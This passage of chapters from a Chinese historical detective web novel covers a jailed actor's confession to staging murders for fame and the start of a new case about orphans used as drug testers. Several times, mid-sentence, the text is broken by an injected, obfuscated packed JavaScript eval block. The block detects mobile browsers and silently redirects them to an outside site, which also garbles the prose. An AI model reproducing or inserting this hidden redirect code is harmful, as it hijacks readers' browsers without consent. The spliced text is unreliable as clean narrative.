万仙冷冷道:“尽管小师爷起初不愿外人介入此案,但机缘巧合之下,我受知县大人之命,还是与他共同参与了这起案件的调查。这正是你所期望的结果。近日的人形花瓶案中,诸多细节令我心存疑虑。譬如为何凶手仅在首次作案时,模仿莫风藤,大费周章地挖坑,将人栽入土中,而后续案件,却随意摆放尸体?因为你仅需第一起案件,让小师爷误以为与莫风藤有关即可。他入局了,我便也随之入了局。后续案件,你便无需再费心挖坑埋尸了。” “那莫风藤真是有精力,每次作案都要挖一个大坑,简直荒谬至极!”司徒翊忍不住耻笑莫风藤。随后,他又对万仙道:“万仙公子,你继续。” 万仙剜了他一眼,继续道:“除了尸体放置的方式,你还做了其他与莫风藤不同的操作。莫风藤随机挑选受害者,而你挑选的,皆是城中作恶多端的恶徒。我们很快便能猜到,你在替天行道,从而推算出接下来的受害者可能是哪些人,将他们保护起来。 “再者,莫风藤往受害者口中塞入的都是随手采摘的应季花朵,它们随处可见,甚为普通,而你却坚持使用曼陀罗华这一稀有之花作为自己的标识。你使用它,绝非只是因为此花优雅神秘,能为你营造魔鬼杀人的诡谲气氛。而是因为这花,本季唯花影阁才有。 “一开始,你故意只偷了三株曼陀罗华,就是为了让我们猜测,你若继续作案,会不得已再次前往花影阁偷花。你猜到我们会蹲守在花影阁,所以故意安排了贼人王猛前去。王猛被逮住后,必定会为了戴罪立功,带我们前往北岷山的破庙蹲守你的出现。然而你并没有现身。因为你要让我们以为,我们已经打草惊蛇,你不会再去取那真花了。” “我为何要这么做?”司徒翊问。 “因为你想让我们以为,你是被逼无奈,才用莫风藤的遗骨作为第四起案件的人形花瓶的。制作假的曼陀罗华,亦是无可奈何。”万仙顿了顿道,“如果你学莫风藤那般随意采摘应季花朵作为标识,你就没理由必须要在第四起案件时,制作假的曼陀罗华来保持标识的连续了。而你恐怕从一开始就计划,完成四起案件就结束你的这场表演。因为你在最后这起案子中,故意给我留下了最直接的线索——那朵假花里的指纹。在此之前,你已不止一次,给我寄过信件,邀请我为梦华台写戏,并留下了印有手印的契书。你赌我真如众人所言,记忆超群,能记住错综复杂的线条。那么,我就能仅凭那一枚指纹,锁定你就是凶手。” “万仙公子,你确实有过目不忘的本事,不是吗?”司徒翊赞赏地笑道。 万仙不理会他,继续道:“在前三起案件中,你作案干脆利落,小心谨慎,这次却露出破绽,并非你粗心大意,而是你特意为之。我们前往梦华台找你时,你故意与小师爷缠斗,暴露身份,亦是你的计划之一。那区区一枚指纹,有无数谎言可为之辩解——比如你可以说自己是受他人之托才做的这朵假花,又比如你可以称是别人故意拿走印有你手印的纸栽赃陷害你,然而你却轻而易举地承认了自己的罪行。这不正好说明,你已决定在第四起案件后完成你的‘谢幕’?” “公子果真聪慧过人,难怪有那么多仰慕者日日守在藏乐楼,只为见你一面。”司徒翊道,“想必公子也知道,我做这些究竟是为了什么吧?” 万仙沉吟片刻,不情愿地道:“你创造这‘魔再现’的案件,是想让我把你写进我下一本探案书里,对吗?” 司徒翊哈哈大笑,缓缓拍掌:“万仙公子,找你写戏,可真难啊。我只能出此下策了!”他大笑过后,脸上便布满了寒霜,目光变得阴鸷,“其实这天下,比你有才华的文人多的是,但凌洛城里,我能接触到的,最有名的,唯有你。” “你何必如此!以凶手之名入书,你不怕死后也被万人唾弃?”万仙怒道。 “万仙公子,你可曾听过‘寄蜉蝣于天地,渺沧海之一粟。哀吾生之须臾,羡长江之无穷。’?”司徒翊眼神闪烁,道,“我们大多数人都是这沧海一粟。比起被万人唾弃,被遗忘不更可怕吗?” 万仙愕然地看着怪笑的司徒翊。 司徒翊倏地收敛笑意,抓着栅栏,对万仙道:“你是不是想说,我们这些蝼蚁,被遗忘便被遗忘了,有何关系?可是若我们的诞生就是为了被遗忘,那我们奋斗一生究竟有何意义?” 他的目光越过万仙,望向牢房的天窗,思绪仿佛也随之飘远。 “我从小在戏班里长大,跟着师父学艺唱戏。束发之年,我便接替师父,演起了梦华台至今最有名的戏目《焚天记》里的书生,日日接受台下观众的喝彩。可是师父呢?他虽升任班主,却无人再记得他也曾是戏台上万人仰慕的英雄,甚至死后,曾经说要一辈子追随他的戏迷,一个也未来送别他。他早已被人遗忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137290|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了! “我害怕自己也落得这样的结局,可是时间哪管我害不害怕!如今,我也已经到了不再适合演书生的年纪,只能脱下那书生的戏服,给徒弟陆柏穿上。看着那些观众追捧他,我慢慢意识到,我将步我师父的后尘。 “做我们这一行,最终只会应了那句话:只见新人笑,不见旧人哭。因为我们这些旧人,就算哭也无济于事! “后来,我渐渐明白了一件事。其实观众不可能永远追捧我们这些戏子,无论是我的师父也好,还是我也罢……甚至是当下最火热的陆柏,也都不过是过眼云烟,但是,人们会永远记得我们戏目里的角色。戏子会轮换,故事里的角色却不会随着岁月老去。那为救少女而当了英雄的书生,会一直登上戏台,接受人们的喝彩。那欺凌少女的恶霸,也永远被人们铭记,遭受唾骂。无论是英雄也好,罪人也罢,至少这些人物会被一直提起,一直记住。” 司徒翊收回目光,望向万仙,声音沙哑道:“其实一开始,我并没有如今的念想。直到我得知你写出了‘蚌中仙’一案,名震凌洛城。 “那书里,被误杀的男子,原是想写书扬名,让天下人了解女子的困境与苦痛。这情节给了我极大的启发。我为何不能写书,把自己编入故事、传奇里,被世人所知所念呢? “可惜啊,可惜。我演了数十年的戏,却不知如何写戏,才能让我和我的故事流芳百世。就在这时,我起,你在调查‘蚌中仙’案时来过梦华台。我意识到,你会将自己经历过的故事加工成书。所以我决定引你入局,仰仗你的才华和名气,记录我这‘魔再现’的谜案,让我在你的故事里永生。 “我之所以做完三起命案才给你留下线索收手,袒露身份,就是希望人们看在我至少为民除了三害,念及我一点好,我便知足了。若人们只觉得我恶贯满盈,唾弃我,那我也感谢他们至少记得我。因为……遗忘才是这世上最可怕的事!” 司徒翊的眼里竟泛出了泪光。在这片朦胧中,他似乎看见了十五岁初登台时的场景。那红色帘幕拉开的瞬间,如同神启,激发出他灵魂深处的欲望。那欲望令他颤抖,也赋予他力量。他在愈来愈烈的锣鼓声里,踏步而出,惊艳亮相。台下响起雷鸣般的掌声。 他以为从此,他便被刻在了人们心中。 可是人们的心,需要装太多东西了,怎么会一直装着他这位戏子呢? 司徒翊花了很多年才明白,世人对他的喜爱犹如夏夜流萤,一闪即逝。他们最终记得的、痴迷的,不过是故事的角色罢了。所以…… “万仙公子,求求你了!” 司徒翊回过神来,却见万仙已经从他面前离开。于是,他对着走远的万仙尖叫起来。因为万仙一开始就说了,他是来破他的妄想的。 司徒翊知道,他是不会让他得逞的。 “万仙,你个混蛋!你以为我喜欢杀人吗?那么麻烦的事,为何我还要接二连三地做?还不是为了让你的故事更加起伏跌宕,更加精彩吗!你必须把我写入书中!别用化名!不不不,用化名也行!” 他颓然倒在潮湿霉烂的稻草堆中,愤怒地咆哮着。那声音已不似人类所能发出,更像是野兽在绝望中的悲鸣,引得远处打更的更夫心头一颤,对着牢房的方向暗自揣测:那究竟是何种声响?该不会是有魔鬼从地狱爬回人间了吧? 38.第三案:魔再现12(案终) 半个月后,藏乐楼,清寒夜内。 万仙执的笔悬于半空,仿佛被无形的力量所牵绊,迟迟未能触及纸张。人形花瓶案虽已尘埃落定,但司徒翊那张近乎疯狂的面容,却如同梦魇,不时在他眼前浮现。 为了载入书中被人记住,竟有人不惜以身试法,演绎出如此荒诞不经的悲剧,实在令人费解。诚然,故事能超越生命的界限,永世流传,但……被世人铭记,真的比过好自己充实无悔的人生更为重要吗?万仙轻叹一声,终是将笔放回了笔架。 王博多曾感叹,成名的益处诸多,然而正是因为他的名气,引得司徒翊杀了三个人。尽管那三人罪有应得,但死于私刑之下,仍让万仙心中涌起一股莫名的负罪感。 他偶尔也会想,若他不曾来到凌洛城,会不会司徒翊就不会犯下这些罪行? 万仙凝视着眼前的空白纸张,思绪如脱缰野马,纷飞不已。 这司徒翊真是不会讲故事,佯装意外地留下那么直白的线索,轻易地曝露身份,这样的情节,若是写入书中,恐怕会遭受读者的诟病。 万仙苦笑,发现自己的思绪已如散落一地的珠子,难以收拾。 恰在此时,门外传来上楼的脚步声,打断了他的思绪。 “仙儿哥,你把自己关在屋里已有半月,写不出来,咱就出去玩儿呗。”王博多拎着一盒地莓圆闯进门来。 今日,他的身上没有塞满万仙仰慕者的信件,因为他早已放出话去,说万仙要闭关著书,谢绝一切拜访。仰慕者们觉得此乃大事,纷纷表示理解,便渐渐地收敛起了当初的狂热。可万仙如今一个字也写不出来。 苦恼的万仙抬起头,越过王博多的肩膀望向他的身后。 因为他早已听出,上楼的并非王博多一人。 雾山角也来了。他身着一袭黑色劲装,背脊挺拔如剑,衣襟与袖口绣着暗纹,隐约透出几分威严。 他已经恢复往日那孤傲冷冽的模样。万仙在心里笑了笑,就听他寒暄道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143299|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万仙兄近来可好?” 王博多已向雾山角透露万仙文思枯竭一事,因此雾山角未待万仙回答,便提议道:“近日公务稍闲,听闻浮图县山水秀丽,人文丰富,我想邀二位共游。” 万仙直言不讳:“这便是知县大人给我们的赏赐吗?” 雾山角不置可否,等待万仙做出抉择。 见万仙面露犹豫,王博多赶紧怂恿道:“仙儿哥,这可是知县大人的赏赐,怎有拒绝的道理?再说了,踏青远足,放松心情,说不定你写书的灵感就来了!”说着,他眼中满是期待之色。 万仙垂眸,凝视那支搁置已久的笔。 良久,他终于振了振精神,拾过扇子,起身道:“确实不该辜负这大好春光。” “仙儿哥所言极是!”王博多见他愿意出门,乐得胡乱吟诗,“最是一年春好处,必得同游乐浮图!” 就这样,三人拂袖出门。 那时他们未料,浮图县竟也暗流涌动,杀意隐现…… 39.第四案:药童血01 “跑!快跑!” 残阳如血,浸染林间。三个衣衫单薄、赤着脚的孩子在林间拼命奔跑,脚下的泥石被他们急促的步伐震得四处飞溅。 “小兔崽子!给老子站住!” 身后传来一声怒吼。一个满脸凶相的男人踉踉跄跄地追赶着他们。若是平时,他早就把这些孩子抓回去了。但今天……他来不及多想,嘴里喷出的浓烈酒气让他脚下又是一滑,险些摔倒。 “不准跑!给我回来!”男人的吼声中夹杂着一丝恐惧。因为他不敢想象自己失职的后果…… 可孩子们怎么会停下?他们好不容易抓住了这次机会,怎能再被抓回去?他们每个人都卯足力气,跑得耳旁大风呼啸。 起初,他们并驾齐驱,谁也不曾落后。 突然,“砰!”的一声,三人中唯一的女孩重重摔倒在地。 “啊!”她发出一声痛呼。 另外两个男孩一时刹不住脚,又往前冲了几步才猛地停下,回头望去。 女孩狼狈地趴在地上,下巴磕破了,鲜血顺着脖子流下。她抬起头,望向她的同伴,眼中满是惊恐与绝望。 忽然,她咬了咬牙,像是下定了什么决心,猛地从地上爬起来,一把抱住了正要从她身边跑过的男人的腿。她死死拽着男人,任凭他如何踢打也不肯松手。 显然,她已经放弃了逃跑。 前方的两个男孩愣住了,只觉得头皮发麻——他们再清楚不过,被抓回去的孩子会遭遇什么。她会被折磨得痛不欲生,最终孤独地死去! 片刻愣神后,其中一个男孩回过神来,冲着另一个大喊:“跑啊!分开跑!” 另一个男孩已经泪流满面,但他知道,自己救不了女孩了。于是他猛地转身,朝着反方向狂奔而去。 而那个喊出“分开跑”的男孩,则拼了命地钻进丛林深处。夕阳的余晖已被漆黑的夜幕吞噬,夜色成了他最好的掩护。 他不知疲倦地奔跑,双脚早已磨破,胸腔仿佛燃烧着烈火,几乎要将他吞没。终于,他精疲力尽,重重摔倒在地,仰面朝天,大口喘着气。 透过茂密的树叶,他看到了夜空中闪烁的繁星。那点点星光,美得令人心碎。 他死死盯着那片光点,眼角的泪水终于不受控制地滑落,与飘落的花瓣一同坠落大地。 他知道,自己自由了。但那泪水并不仅仅因为这来之不易的自由。 泪眼朦胧中,他仿佛又看到了女孩摔倒时的眼神——那双充满惊恐的眼睛,让他心惊胆寒。因为…… “是我绊倒了她。”他低声呢喃。 那股绊倒女孩的力道,清晰地残留在他的左腿上。 他牺牲了她,用她的性命,换来了自己的自由。 “哈哈……”他突然笑了起来,笑声越来越大,“哈哈哈哈哈……” 也不管会不会有人因此发现他,他就这么笑啊笑啊,笑到天地万物都为他沉默。 【第四案:药童血】 山色青青,苍苔覆石,春色正浓。 万仙同王博多、雾山角出游浮图县已有数日。他们除了参加浮图县的打春祭典,品尝春日才有的地道糕点外,还踏遍了县内群峰——于云雀山欣赏绝无仅有的禾雀花,至武霞岭采撷艳红如火的杜鹃,再赴天漱崖观看飞流直下的瀑布…… 一番游历下来,万仙心中那隐隐的郁结已消散大半。雾山角亦是心情舒畅,素来冷峻的面容间,偶尔也会浮现一丝惬意。唯有王博多,因长途跋涉,连连大喊自己累得快要魂飞魄散,恨不得将自己挂在雾山角身上,让他背着他走。 不过今日,王博多心情愉悦了许多。因为这趟旅程终告结束,一行人启程返回凌洛城。 雾山角倒是体贴,怕万仙和王博多直回凌洛城太过劳累,特意选了一条中途可歇脚的回程之路。 于是傍晚时分,三人抵达凌洛城与浮图县接壤的云溪山,入住山中的“云溪苑”。 万仙与王博多原以为雾山角安排的不过是寻常客栈,结果却见云溪苑竟是一座气派非凡的山庄!二人不由惊叹他出手阔绰。 “我与这山庄庄主虽无深交,却也勉强算得上朋友。他多少会给些优待,你们安心住下便是。”雾山角说完,率先踏入山庄。 万仙轻摇折扇,眼含笑意,随他步入。 山庄内,可行之处皆由青石铺成,层叠的楼阁依山而筑,好不气派。再细看,曲折蜿蜒的廊桥旁是碧池静水,几尾游弋的锦鲤正让它泛起涟漪。太湖石叠的假山下,伫立着一座细致雕琢的六角亭,此刻亭内正坐着一对父女,品茶赏景。而远处,客房楼阁的屋檐下悬挂的风铃随风摇曳,发出清脆的声响,更是为这山庄添了几分清幽…… 迎客的小厮一边带着他们四处参观,一边介绍着山庄美景。虽然他讲话时嘴角总是时不时地抽搐,但好在不影响发声,句句清晰明了。 万仙正准备让王博多赠他一些赏钱,就听一声“雾山兄”从左侧传来。 抬眼望去,一名身着月白长衫的男子,招手而来。他约莫三十出头,身形修长,步履从容,行走间衣袂翩然,似有清风相随,竟比万仙还要仙风道骨。 “清澜兄,别来无恙。”雾山角拱手行礼。 沈清澜微微一笑,拱手回礼,目光却已落在雾山角身旁的万仙身上。他细细打量片刻,眼中闪过一丝了然,笑道:“这位就是大名鼎鼎的万仙公子吧?” 万仙神色淡然,微微颔首。 沈清澜立马又拱手道:“方才在下在屋内整理账本,一时抽不开身,有失远迎,还望诸位见谅。” “公事要紧,无妨。”万仙礼貌一笑。 沈清澜笑容不减,客套地邀请道:“诸位不如移步到我屋里喝杯清茶?山庄近日新到了一批上好的茶叶,正好可与诸位共品。” 雾山角摆手欲要推托,谁料万仙竟答应下来。一旁原本昏昏欲睡的王博多,此刻也猛然瞪大眼睛,心中嘀咕:“仙儿哥这是怎么了?平日里可没见他贪这一口茶啊!”然而,见万仙已迈步向前,他只得与雾山角对视一眼,压下心中疑惑,与万仙一同进了沈清澜的里屋。 三人在沈清澜屋内的圆桌前落座。沈清澜吩咐那位嘴角不时抽搐的小厮奉上茶水,亲自为三人斟茶。 沈清澜一边斟茶,一边与雾山角闲谈。提及知县魏天知,沈清澜关切地询问雾山角,他舅舅的身体是否安好。 万仙静坐一旁,心中暗自思忖:雾山角与沈清澜有交情,或许正是因为他的舅舅。云溪苑地处凌洛城与浮图县交界,魏天知作为知县,对此地有管辖权。而沈清澜身为商人,自然想与官府攀上关系。一来二去,他与雾山角相识,倒也顺理成章。 正思量着,门口传来小厮的敲门声。 “沈庄主,柳老爷和柳小姐在门外等您。” 沈清澜闻言,脸上闪过一丝窘迫。雾山角见状,正欲起身告辞,却见万仙不慌不忙地提起茶壶,又为自己斟了一杯茶。 雾山角斜眼瞥他,心中暗道:你真有这么渴吗? 然而,万仙稳坐如山,丝毫没有结束的意思。雾山角只好将到嘴边的告辞之言咽了回去。沈清澜更不好逐客,只得匆匆起身,前去开门。 门一开,映入眼帘的正是方才在六角亭品茶的那对父女。 柳老爷年约六十,须发斑白,身穿一袭金丝刺绣、质地极佳的长袍,手中习惯性地转动着一枚金镶玉戒指。他目光温和,笑眯眯地对沈清澜道:“小沈,有客人?”见沈清澜点头,他又道:“无妨,不打扰你们。我只是路过,顺道来与你说几句话。” 沈清澜连忙恭敬道:“柳老爷,您尽管吩咐。” 柳老爷摆摆手,笑道:“我不是来找你做事的,只是想来夸你几句。云溪苑于我而言,意义非凡。年轻时我便常来此处小住。上一任庄主去世后,我还担心这山庄会日渐衰败。幸好你接手了它,不仅打理得井井有条,甚至比以往更加兴旺,我甚是欣慰啊。” 沈清澜笑容满面,热络地回应:“您是云溪苑的老主顾。您愿意年年光顾,是我们的荣幸。我等定当尽心竭力,将山庄打理得更加舒适雅致,不负您的厚爱。” 柳老爷满意地点点头,拍了拍沈清澜的肩膀,道:“那你先忙,我和云儿先回房歇息了。” 他身旁的女儿柳云儿年纪尚轻,容貌清丽,自始至终未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147593|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾开口,只是微微颔首,向沈清澜致意。 沈清澜恭敬送客,待二人离去后,才转身回屋。屋内的雾山角与王博多对视一眼,转头想询问万仙是否喝完了茶,却发现他已不在桌旁。此刻,万仙正站在屋内敞开的窗前,伸手去关窗。 王博多见状,立刻弹起身,快步冲过去,口中嚷道:“仙儿哥,这种小事你吩咐我一声就行,何必亲自动手?” 万仙轻骂道:“你别真把自己当成我的仆人了。” 王博多不理会他的调侃,一把将他挤到一旁,迅速关上了窗户。 这关窗的动作,震掉了窗台上,那片沾着泥土、形似小鸟的花瓣。 万仙笑了笑,转过身,目光落到了屋内架子上的几样玩物上。 “九连环、七巧板、华容道……沈庄主喜欢这些机巧之物?”万仙问已经回屋的沈清澜。 沈清澜走到他身旁,笑道:“当初看到这些玩意儿,我觉得颇为有趣,便买回来了。可惜我愚笨,解不出来,试了一两次就放弃了,只好放在架子上当作摆设。比如这九连环,我连一环也解不出来。” 说着,他从架子上取下九连环,递给万仙:“万仙公子可有兴趣一试?” 万仙笑着接过九连环,在手上摩挲,感受它那出奇的温润感。接着,他低眉垂目,指尖轻巧地拨弄起金属环扣。环与环相碰,发出细微的叮当声。环扣在万仙手中仿佛有了生命,开始变幻,然后一环接一环地脱离出来。 “咔”的一声轻响,最后一环脱离,九连环彻底解开了。 “不愧是万仙公子!”沈清澜钦佩道。 “雕虫小技,不足挂齿。”万仙淡然一笑,转头看向王博多,“你是不是已经困了?” 王博多正沉浸在万仙那行云流水的操作中,被这么突然一问,不由愣了一下。随即,他连连点头,在心中暗自叫苦:仙儿哥,你终于发现我快困死了吗?赶紧走吧! 雾山角见状,便放下了手中的茶杯,起身与沈清澜寒暄几句后,带着万仙和王博多离开。 沈清澜站在门口,目送三人远去。随后,他回到屋内,走到存放玩物的架子前,伸手准备将九连环重新复原,却发现它早已被万仙恢复成原样,工整地摆放在原位。 沈清澜不由得一怔,眉头微皱,眼中闪过一丝复杂的神色。 “这万仙真如传言中那般聪慧过人?” 他低声自语,后脖颈传来隐隐的刺痛。他无法看到自己的后脖颈,只能徒劳地伸手,摸了摸刺痛的部位。那里印着一排小小的牙印,此刻,牙印已经在皮肤上晕开,宛若一颗熟透的红色蛇莓。 他无奈地哼笑了一声。 另一边,万仙三人走在石板路上。 “仙儿哥,平时可没见你这么爱喝茶啊。”王博多打着哈欠,语气里带着几分抱怨。 万仙嘴角微扬,淡淡道:“你没发现吗?沈庄主在撒谎。” “撒谎?”王博多挠头。 万仙微微侧目,看向身旁的雾山角:“雾山兄,你可注意到沈庄主鞋上沾着新鲜的泥巴?” 雾山角点了点头。 万仙继续说道:“这山庄内可行之处皆有石板铺路,他鞋上却有泥巴,显然刚刚离开过山庄。可他却说自己一直在屋内整理账本。” “所以你是因为好奇他为何撒谎,才特意去他屋里喝茶的?”王博多恍然大悟,随即不以为然道,“人家不愿意说自己出过门,自然有他的隐情。说不定他是出去与情人幽会了呢。我要是去幽会,也不好意思让人知道。” 雾山角难得露出一丝笑意,接口道:“这沈清澜,之前还说自己不近女色,羞于床榻之事,绝不婚娶呢。现在看来,恐怕是……” 话未说完,王博多便抢过话头,眼中闪过一丝狡黠:“我明白了!他幽会的不是女人,而是……” 他眨了眨眼,露出一副“你们懂的”的神情,压低声音道:“所以他才会羞于让我们知道他出去幽会,这才撒了谎。” 万仙摇着扇子,看着王博多一脸得意地推论,忍俊不禁地摇了摇头。 彼时,太阳已经消失在天际,云溪苑山庄陷入了夜的寂静中。 40.第四案:药童血02 翌日,日上三竿,王博多仍睡得酣畅淋漓,口水直流。 万仙不忍心打搅他的美梦,就去云溪苑的藏书楼,寻了一本书来,坐在昨日柳家父女饮茶的六角亭中,慢慢翻阅。没多久,他就见到了雾山角。 雾山角大眠一夜,精神焕发,红光满面。他远远看到万仙,便同他颔首示意,自顾自地在空地上拔出不忍剑,开始练剑。 那一招一式,宛若行云流水,王博多私底下偷练许久,就是练不出他那范儿来。 所以后来,万仙干脆合上书,欣赏起雾山角精妙的剑法。 雾山角一套动作接一套动作,几番下来,额上也冒出汗珠。终于,他结束今日的练习,收起剑,前去休息。他刚踏进六角亭,王博多就从房里推门出来了。 “啊——睡得好爽!”王博多一扫昨日的疲惫,伸着懒腰,颇为有力地大声道。 随即他瞧见在亭内执书的万仙和腰悬不忍剑的雾山角,疾步奔去。 “你们起这么早?” “你也不看看,这太阳都晒到哪了。”雾山角瞥了他一眼道。 王博多挠挠头,不好意思道:“那我们现在就启程回去?”话刚说完,他的肚子就叫了一声。 万仙笑道:“这也快到中午了,我们吃完饭再回去也不迟。” 雾山角故意道:“也好,免得某些贵公子到时候又要嚷嚷肚子好饿,走不动道了。” 王博多知道他在揶揄自己,偏故意挑拨道:“仙儿哥,这大头怎么能这样说你呢。” “你再说我头大试试!”雾山角把剑一拔,吓唬王博多。 王博多之前的确怕他会动真格,但这趟浮图县春游下来,他发现这位小师爷只是表面上看上去冷酷无情,便对他肆无忌惮起来。他嬉皮笑脸道:“有本事,你就当着我仙儿哥的面砍我。” 万仙把书置于亭中石桌上,拾起自己的扇子,缓缓地扇着,笑着对王博多道:“我可不会再拿我的扇子救你。” 雾山角闻言,牙齿一呲,举起剑就朝王博多挥去。 王博多跳着脚,嚷道:“你这大头来真的啊?”他拾起草丛里掉落的树枝,就与那锋利的不忍剑对峙。 换做往常,别说树枝了,不忍剑就连削铁也不在话下。但今日雾山角屡次与王博多过招,却一直未让他手中的树枝折断。 这家伙,居然在操练王博多! 万仙倚在亭中石桌上,一只手托着下巴,一只手挥着扇子,久久地望着春日山庄中习剑的二人,一时有些晃神。 他知道好花不常开,好景不常在,像他这样的人,能与这二人做多久的朋友呢?万一哪一天,自己被识破身份,人头落地,王博多跟着雾山角,也不错,至少能习一身武功,不走歪道。 万仙冷不丁地意识到自己在这伤春悲秋,不禁扯了扯嘴角。 就在这时,一声尖叫打断了万仙的思绪。 那声音惊恐尖锐,如闪电劈开了山庄原有的寂静。 雾山角立刻收起了不忍剑。然而王博多没有这么快的反应,他顺着刚才的劲把自己手里的树枝往雾山角肩上一打,树枝瞬间断裂开来。 雾山角也不恼,仿佛没有感受到肩膀的疼痛。他转头看了一眼万仙,只见他已合上扇子,循声奔去。 雾山角紧随其后,王博多更是丢了树枝,对雾山角嚷着“抱歉,抱歉”,亦步亦趋地跟上。 尖叫声从柳家老爷柳天兆入住的客房方向传来。 众人闻讯赶到时,柳天兆的女儿柳云儿正跌坐在房门口的石板地上。 万仙问她:“发生何事?” 受到惊吓的柳云儿一时无法发出声音,只是伸出一根手指,颤颤巍巍地朝敞开的大门指去。 于是众人就顺着她的手指,见到了屋内的惨状。 只见柳天兆紧闭双眼,坐在一张木雕椅上,浑身是血。那是因为他被人捅了无数刀。而捅他刀的人,此刻仍站在他的身旁,愤怒地盯着他的尸体,似要用目光再将他洞穿。 这杀人者不是别人,正是昨天引着万仙他们参观山庄的小厮。 那小厮握着沾血的刀,气喘吁吁地转过头,看向门外的众人。 他控制不住地抽搐着嘴角,然后发出狂笑:“哈哈哈……” 赶来的雾山角瞧见屋内发狂的凶手,娴熟地亮出不忍剑,厉声道:“这人是你杀的?” “不是我,难道是你吗?”那小厮一改昨日的低眉顺目,癫狂道,“当然是我杀了这个畜生!当然是我杀了这个畜生!” 说着他又要拿刀去捅柳天兆的尸体。雾山角怎会容忍他在他眼皮底下这样虐尸!他冲进屋内,猛地一挥不忍剑,“叮”的一声将凶手手里的刀劈成两半。那刀被剑劈开时顺带而来的力道,震得凶手松开了手。 刀柄掉落之时,雾山角已经一脚将他踹倒在地,压制住了他。 万仙赶紧进到屋内,检查起尸体。他探了探柳天兆的呼吸和脉搏,知道他已无力回天,便观察起他身上的刀口和流出的血迹。忽然,他皱起眉头,看了一眼被雾山角压在地上的凶手,又转过头看向屋外。 彼时,屋外已经围满了人。庄主沈清澜也已赶来,他不可思议地看了一眼屋内的尸体,然后在惊讶中,和王博多一起将跌坐在地的柳云儿扶了起来。其他闻讯赶来的住客和下人更是一边害怕一边抻着脖子向里张望。 “别吓着孩子。”万仙对王博多嘱咐道。 王博多看了一圈围观的人群,心想,哪里有孩子?他就没在这山庄见过有孩童入住。 接着,他就顺着万仙的目光,看到了其中一个围观的女住客挺着大肚子。 他立刻“哦”了一声,道:“孕妇还是别看这么血腥的画面了。” 他一边驱散人群,一边关上柳天兆房间的房门,好让万仙和雾山角审问被他们压制住的凶手。 屋内,血腥味弥漫。万仙面不改色地查看完尸体,转头看向已经被雾山角绑在椅子上的犯人。 那绑犯人的绳子,还是从犯人身上取来的。看来他准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这招数真有用。你看,柳天兆这不就笑起来了吗?你看,他手里的糖葫芦,不就到我手上了吗? 萧满嘿嘿地笑,把那几颗糖葫芦先舔了个遍,他觉得这样就不怕有人再来抢了。舔完糖葫芦,他才开始一口一口快乐地咬,仿佛在吃什么饕餮大餐。 柳天兆颇有耐心地等他吃完,才道:“走吧。” “老爷,你真要我替你做事?”小小的萧满不知道自己能帮上什么忙,茫然地问道。 柳天兆却不发一语地迈开脚步,朝前走去。 萧满赶紧跟上,天真地嚷道:“老爷,老爷,你每天给我三顿饭,我一辈子都跟着你。不不,两顿也行。我胃口不大的。” 柳天兆顿下脚步,终于开口道:“你替我做事,我定会让你顿顿吃饱。” 萧满闻言,满心欢喜。他觉得自己在寺庙里许的愿成真了,这世上真有活菩萨! 然而他没有想到,柳天兆不是活菩萨,而是活阎王。 41.第四案:药童血03 被绑着的萧满转头看了一眼柳天兆的尸体,深深地喘了口气。 许久的沉默之后,万仙指着柳天兆问道:“所以他让你做什么?” “他让我做……做药童。” “药童?”雾山角皱眉道,“研磨药材、煎煮汤药的药童?” “柳天兆让我做的可不是你们以为的药童。”萧满顿了顿道,“他为了研制新药,高价售卖,招募……或者说诓骗了许多小孩来为他试药……” 他咬牙切齿地说着,目光凝在虚空中,陷入回忆。 年幼的萧满为了每天三顿饱饭,选择成为柳天兆的药童。他被带到某个山谷的地下生活,那里是一个巨大的药童坊,划分出了无数个小房间,点着无数盏蜡烛,住着无数同他一样的孤儿。他们有男有女,年龄各不相同,眼神里总是藏着某种复杂的情绪,萧满对这种神情十分好奇却参不透。 直到后来,他也有了同样的眼神。因为柳天兆开始让他与其他小孩一起试药。 柳天兆总是能找来千奇百怪、常人见都没见过的药材,要他们以身试毒。 萧满觉得那些药奇苦难咽,可是只要捏着鼻子,一股脑地灌下去,今晚的饭菜里就会有鸡腿,所以他还是一碗接一碗地往自己嘴里倒。 